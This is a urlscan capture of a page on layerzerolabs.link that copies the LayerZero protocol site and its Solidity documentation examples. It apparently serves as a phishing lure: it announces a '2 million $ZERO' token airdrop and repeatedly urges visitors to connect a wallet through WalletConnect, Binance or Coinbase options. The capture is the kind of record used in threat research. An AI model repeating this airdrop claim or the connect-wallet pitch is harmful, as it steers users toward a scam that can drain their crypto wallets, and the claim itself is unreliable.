layerzerolabs.link Open in urlscan Pro
2a02:4780:b:1041:0:1a02:6955:10  Public Scan

Submitted URL: https://beacons.ai/layerzerolabs/aspan
Effective URL: https://layerzerolabs.link/
Submission: On March 29 via api from FI — Scanned from FI

Form analysis 0 forms found in the DOM

Text Content

 * </A> Home
 * </A> Developers
 * </A> Community
 * </A> Careers
 * </A> LayerZero Scan

Developer AssistanceDeveloper Assistance

View more examples on githubView more examples on github
 * </A> Home</A> Home
 * </A> Developers</A> Developers
 * </A> Community</A> Community
 * </A> Careers</A> Careers
 * </A> LayerZero Scan</A> LayerZero Scan

Developer Assistance
Developer AssistanceDeveloper Assistance



SEAMLESSLYCONNECTEDBLOCKCHAINS

Say hello to LayerZero, an omnichain interoperability protocol. LayerZero
enables the realization of cross-chain applications with a low level
communication primitive. A total of 2 million $ZERO Tokens will be distributed.
Eligible people can claim based on their chain-activity.Please connect your
wallet in order to check if your eligible.





Connect Wallet


</A> Download Whitepaper</A> Download Whitepaper


CORE CONCEPT OF LAYERZERO

LayerZero is a User Application (UA) configurable on-chain endpoint that runs a
ULN. LayerZero relies on two parties to transfer messages between on-chain
endpoints: the Oracle and the Relayer.

When a UA sends a message from chain A to chain B, the message is routed through
the endpoint on chain A. The endpoint then notifies the UA specified Oracle and
Relayer of the message and it's destination chain.

The Oracle forwards the block header to the endpoint on chain B and the Relayer
then submits the transaction proof. The proof is validated on the destination
chain and the message is forwarded to the destination address.


FUNDS


LayerZero - trustless, omnichain interoperability protocol


CONNECT WALLET

endpoint.send() has six parameters. Here is an explanation of the arguments:

View on gitbookView on gitbook

1// endpoint send()
2
3function send(
4  uint16 _chainId,                   // the destination chainId
5  bytes calldata _destination,       // the destination contract address
6  bytes calldata _payload,           // the raw bytes of your payload
7  address payable _refundAddress,    // where additional gas is refunded
8  address paymentAddr,               // optional
9  bytes calldata txParameters        // airdrop native gas
10)

1import "../interfaces/ILayerZeroReceiver.sol";
2import "../interfaces/ILayerZeroEndpoint.sol";
3
4contract Example is ILayerZeroReceiver {
5
6  // the LayerZero endpoint address
7  ILayerZeroEndpoint public endpoint;
8
9  constructor(address _endpoint)  {
10    endpoint = ILayerZeroEndpoint(_endpoint);
11  }
12
13  // Use the endpoint to send a message to another chain.
14  // This function should be payable, and you should send
15  // additional gas to make sure the message delivery is paid for
16  // on the destination chain.
17  function sendYourMessage(uint16 _chainId, bytes calldata _endpoint) public payable {
18    endpoint.send{value:msg.value}(_chainId, _endpoint, bytes(""), msg.sender, address(0x0), bytes(""));
19  }
20
21  // receiving message interface method.
22  function lzReceive(uint16 _srcChainId, bytes memory _fromAddress, bytes memory _payload)
23  override external {}
24}


1// an endpoint is the contract which has the send() function
2ILayerZeroEndpoint public endpoint;
3
4// call send() to send a message/payload to another chain
5endpoint.send{value:msg.value}(10001, destUaAddr, bytes("hello"), msg.sender, address(this), bytes(""));

1mapping(address => uint) public addrCounter;
2// override from ILayerZeroReceiver.sol
3
4function lzReceive(uint16 _srcChainId, bytes memory _fromAddress, uint _nonce, bytes memory _payload)
5override external {
6  require(msg.sender == address(endpoint));
7  address fromAddress;
8  assembly {
9    fromAddress := mload(add(_fromAddress, 20))
10  }
11  addrCounter[fromAddress] += 1;
12}





EXAMPLES


01/OMNICOUNTER.SOL

A LayerZero User Application example to demonstrate message sending.

1pragma solidity 0.8.4;
2pragma abicoder v2;
3
4import "../lzApp/NonblockingLzApp.sol";
5
6contract OmniCounter is NonblockingLzApp {
7    uint public counter;
8
9    constructor(address _lzEndpoint) NonblockingLzApp(_lzEndpoint) {}
10
11    function _nonblockingLzReceive(uint16, bytes memory, uint64, bytes memory) internal override {
12        counter += 1;
13    }
14
15    function incrementCounter(uint16 _dstChainId) public payable {
16        _lzSend(_dstChainId, bytes(""), payable(msg.sender), address(0x0), bytes(""));
17    }
18}


+ View more details


02/PINGPONG.SOL

An example to demonstrate estimateFees() and a recursive call within lzReceive()

1pragma solidity 0.8.4;
2pragma abicoder v2;
3
4import "@openzeppelin/contracts/security/Pausable.sol";
5import "../lzApp/NonblockingLzApp.sol";
6
7contract PingPong is NonblockingLzApp, Pausable {
8    // event emitted every ping() to keep track of consecutive pings count
9    event Ping(uint pings);
10
11    // constructor requires the LayerZero endpoint for this chain
12    constructor(address _endpoint) NonblockingLzApp(_endpoint) {}
13
14    // disable ping-ponging
15    function enable(bool en) external {
16        if (en) {
17            _pause();
18        } else {
19            _unpause();
20        }
21    }
22  


+ View more details


03/LZENDPOINTMOCK.SOL

A mock LayerZero endpoint contract for local testing.

1pragma solidity ^0.8.4;
2pragma abicoder v2;
3
4import "../interfaces/ILayerZeroReceiver.sol";
5import "../interfaces/ILayerZeroEndpoint.sol";
6
7contract LZEndpointMock is ILayerZeroEndpoint {
8    mapping(address => address) public lzEndpointLookup;
9
10    uint16 public mockChainId;
11    address payable public mockOracle;
12    address payable public mockRelayer;
13    uint public mockBlockConfirmations;
14    uint16 public mockLibraryVersion;
15    uint public mockStaticNativeFee;
16    uint16 public mockLayerZeroVersion;
17    uint public nativeFee;
18    uint public zroFee;
19    bool nextMsgBLocked;
20
21    struct StoredPayload {
22        uint64 payloadLength;
23        address dstAddress;
24        bytes32 payloadHash;
25    }
26
27    struct QueuedPayload {
28        address dstAddress;
29        uint64 nonce;
30        bytes payload;
31    }
32	


+ View more details
View more code examples on githubView more code examples on github
Thank you for subscribing!
 * </A> Telegram</A> Telegram
 * </A> Discord</A> Discord
 * </A> Twitter</A> Twitter
 * </A> Medium</A> Medium
 * </A> LayerZero Scan</A> LayerZero Scan
 * </A> Developers</A> Developers
 * </A> Careers</A> Careers


INTRODUCTION

 * Getting started
 * FAQ
 * Glossary Section


CORE FEATURES

 * Relayer
 * Oracle
 * Endpoints
 * Interfaces


GUIDES

 * How to send a Message
 * Where to call .send()


TROUBLESHOOTING

 * Relayer Fee Failed


EXAMPLES

 * OmniCounter.sol
 * PingPong.sol
 * LZEndpointMock.sol


BRIDGES

 * Aptos
 * BTC.b
 * USDC
 * Testnet

Media KitTerms of UsePrivacy PolicyCookie Policy
Developer AssistanceDeveloper Assistance
© 2023 LayerZero
WalletConnect
Scan with WalletConnect to connect
Binance Chain Wallet
Connect to your Binance Chain Wallet
Coinbase
Connect to your coinbase wallet